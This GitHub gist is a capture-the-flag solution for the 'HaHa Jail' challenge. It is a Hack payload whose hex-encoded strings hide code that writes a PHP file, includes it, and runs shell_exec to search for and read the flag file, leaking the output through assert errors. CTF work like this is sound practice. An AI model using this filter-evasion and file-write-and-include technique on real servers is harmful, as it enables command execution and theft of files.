Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

@k3idii

k3idii/evil.hh

Created September 6, 2020 10:08
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save k3idii/733f6ee66b67b63ee6e555940026924e to your computer and use it in GitHub Desktop.
Save k3idii/733f6ee66b67b63ee6e555940026924e to your computer and use it in GitHub Desktop.
Download ZIP
2020-09 COnfidence CTF HaHa Jail solution
Raw
evil.hh
cmd=<?HH
class C1 {
const F1 = "\x2f\x76\x61\x72\x2f\x74\x6d\x70\x2f\x61\x2e\x70\x68\x703";
const F2 = "\x2f\x76\x61\x72\x2f\x74\x6d\x70\x2f\x61";
const D1 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x70\x72\x69\x6e\x74\x5f\x72\x28\x24\x5f\x53\x45\x52\x56\x45\x52\x2c\x74\x72\x75\x65\x29\x3b\x20\x7d";
const D2 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28\x22\x66\x69\x6e\x64\x20\x2f\x20\x7c\x20\x67\x72\x65\x70\x20\x66\x6c\x61\x67\x22\x29\x3b\x20\x7d";
const D3 = "\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x66\x6f\x6f\x28\x29\x7b\x20\x72\x65\x74\x75\x72\x6e\x20\x73\x68\x65\x6c\x6c\x5f\x65\x78\x65\x63\x28\x22\x63\x61\x74\x20\x2f\x76\x61\x72\x2f\x77\x77\x77\x2f\x66\x6c\x61\x67\x2e\x74\x78\x74\x22\x29\x3b\x20\x7d";
}
<<__EntryPoint>>
function main(): void {
assert(1==2,"STEP1");
assert(file_put_contents(C1::F1, C1::D3),"WFAIL");
assert(1==2,"STEP2");
include(C1::F1);
assert(1==2,foo());
assert(13=="\x33",__DIR__);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment